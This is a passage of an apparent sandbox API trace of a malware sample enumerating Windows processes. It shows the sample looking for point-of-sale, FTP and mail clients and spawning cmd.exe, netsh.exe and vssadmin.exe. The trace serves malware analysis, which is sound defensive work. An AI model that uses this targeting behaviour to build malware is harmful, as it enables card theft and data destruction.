th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0094.600] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0094.601] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0094.602] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0094.603] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0094.604] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0094.605] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0094.606] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0094.607] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0094.608] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0094.609] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0094.610] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0094.611] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0094.612] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0094.613] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0094.613] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0094.614] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0094.615] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0094.780] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0094.781] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0094.782] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.782] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0094.783] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.784] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0094.784] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0094.785] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0094.786] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0094.787] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x25c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0094.788] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0094.788] Process32NextW (in: hSnapshot=0x1cc, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x83c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0094.789] CloseHandle (hObject=0x1cc) returned 1 [0094.789] Sleep (dwMilliseconds=0x1f4) [0095.413] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0095.420] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0095.421] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0095.421] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0095.422] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0095.423] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0095.423] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0095.424] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0095.425] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0095.425] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0095.426] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0095.430] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.431] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.431] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.432] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.432] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.433] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0095.434] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.434] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.435] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0095.435] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0095.436] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0095.437] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0095.437] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0095.438] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0095.439] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0095.439] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0095.440] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0095.441] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0095.441] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0095.442] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0095.443] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0095.444] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0095.444] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0095.445] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0095.446] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0095.446] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0095.447] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0095.448] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ragemedicare.exe")) returned 1 [0095.448] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablet restored processes.exe")) returned 1 [0095.449] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0095.449] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0095.450] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0095.451] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0095.451] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0095.452] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0095.453] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0095.453] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0095.454] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0095.455] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0095.455] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0095.456] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0095.456] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0095.457] Process32NextW (in: hSnapshot=0x1d0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, 